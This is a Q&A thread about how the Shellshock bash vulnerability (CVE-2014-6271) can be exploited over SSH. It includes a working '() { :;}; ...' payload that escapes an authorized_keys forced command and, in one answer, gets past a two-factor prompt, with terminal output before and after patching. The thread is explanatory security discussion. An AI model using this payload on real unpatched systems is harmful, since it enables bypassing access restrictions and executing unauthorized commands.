69

Apparently, the shellshock Bash exploit CVE-2014-6271 can be exploited over the network via SSH. I can imagine how the exploit would work via Apache/CGI, but I cannot imagine how that would work over SSH?

Can somebody please provide an example how SSH would be exploited, and what harm could be done to the system?

CLARIFICATION

AFAIU, only an authenticated user can exploit this vulnerability via SSH. What use is this exploit for somebody, who has legitimate access to the system anyway? I mean, this exploit does not have privilege escalation (he cannot become root), so he can do no more than he could have done after simply logging in legitimately via SSH.

Gilles 'SO- stop being evil'
  • 829,060
Martin Vegter
  • 358
  • 75
  • 236
  • 411
  • Simply put, it cannot be done, unless someone has already access to your box. A new bash shell is only executed after a succesful login attempt. – Evert Sep 25 '14 at 13:51
  • Its all mostly media hype, it can happen but it is not as bad as made out to be. – jgr208 Sep 25 '14 at 19:00
  • Do usernames go verbatim into the logs? If yes, maybe there exists a logparsing bash script that is vulnerable somewhere... – PlasmaHH Sep 26 '14 at 15:15
  • 1
    @PlasmaHH If you run your log-parsing script as root, you deserve what you get. – Barmar Oct 01 '14 at 19:39
  • @Barmar: besides that the question is not specifically for getting root access, but access to the machine (which may be all that is needed to e.g. deface it or do other harm), when you can run code, chances are that you can also run code that exploits something else that gains you root. – PlasmaHH Oct 01 '14 at 19:49

3 Answers3

81

One example where this can be exploited is on servers with an authorized_keys forced command. When adding an entry to ~/.ssh/authorized_keys, you can prefix the line with command="foo" to force foo to be run any time that ssh public key is used. With this exploit, if the target user's shell is set to bash, they can take advantage of the exploit to run things other than the command that they are forced to.

This would probably make more sense in example, so here is an example:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Here we set up a user testuser, that forces any ssh connections using your ssh key to run echo starting sleep; sleep 1.

We can test this with:

$ ssh testuser@localhost echo something else
starting sleep

Notice how our echo something else doesn't get run, but the starting sleep shows that the forced command did run.

Now lets show how this exploit can be used:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

This works because sshd sets the SSH_ORIGINAL_COMMAND environment variable to the command passed. So even though sshd ran sleep, and not the command I told it to, because of the exploit, my code still gets run.

phemmer
  • 71,831
  • 1
    try this instead: ssh testuser@localhost echo something else '`whoami`' in order to prove where the command is being executed – Richard Sep 29 '14 at 14:04
  • 1
    I would add to this answer that in terms of SSH, the exploit only allows an authorized user with an authorized key (an authorized key can be thought of as a long password) to run commands they aren't normally authorized to run. It doesn't allow someone without that authorized key to do anything. I don't think this is clear from the answer if you don't have a decent understanding of SSH and the meaning of authorized_key. – Winter Dragoness Dec 07 '14 at 23:17
  • @skrewler That's usually a good sign you're misinterpreting something. For example, the answer is explaining how if testuser was given the provided account setup by an admin, how testuser would be able to escape the restrictions they were given. And no, not any involvement with bash means you can exploit shellshock. Only when bash is running with permissions the user doesn't normally have, but that the user has influence over that bash's environment variables. – phemmer May 15 '18 at 03:52
  • Ok, I get what you're trying to show now -- a setup that limits testuser to the command in .authorized_keys and not a login shell.

    It didn't make any sense to me to edit your own .authorized_keys w/ an entry that executes a command when you already had shell access (since this wouldn't provide privilege execution)

    edit: deleted comment, I stand corrected.

     – skrewler May 16 '18 at 06:39
26

Expanding on the example from Ramesh - if you use two factor authentication, it is possible to bypass the second factor using this exploit, depending on how it is implemented.

— Normal Login — 

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— Running code without 2FA — 

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

You'll notice it ran the code without prompting for 2FA.

— After patching bash —

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Eric Rumer
  • 369
  • 1
    Just to limit panic of eventual readers using second factor: "depending how it is implemented" - I suppose you've assumed that second factor here is implemented in bash or uses read function. Otherwise - user is safe. – Grzegorz Wierzowiecki Sep 26 '14 at 23:15
25

Shellshock is a vulnerability on bash, not on SSH. In order to exploit it, an attacker needs to cause the vulnerable system to run bash, and to control the value of an environment variable that will be passed to bash.

In order to reach a bash process through SSH, the attacker needs to pass the authentication steps. (There can be attack vectors through other network services, but they are beyond the scope of this thread.) If the account is allowed to run arbitrary shell commands anyway, there is no attack. The vulnerability comes into play if the account is restricted to run specific commands: for example, an SFTP-only account, or a git-only account, etc.

There are several ways to restrict an account to run a specific command with SSH: with the ForceCommand option in sshd_config, or with a command=. restriction in the authorized_keys file. If the user's shell is bash, then the Shellshock vulnerability allows a user who would normally have access only to the restricted account to bypass the restriction and execute arbitrary commands.

Gilles 'SO- stop being evil'
  • 829,060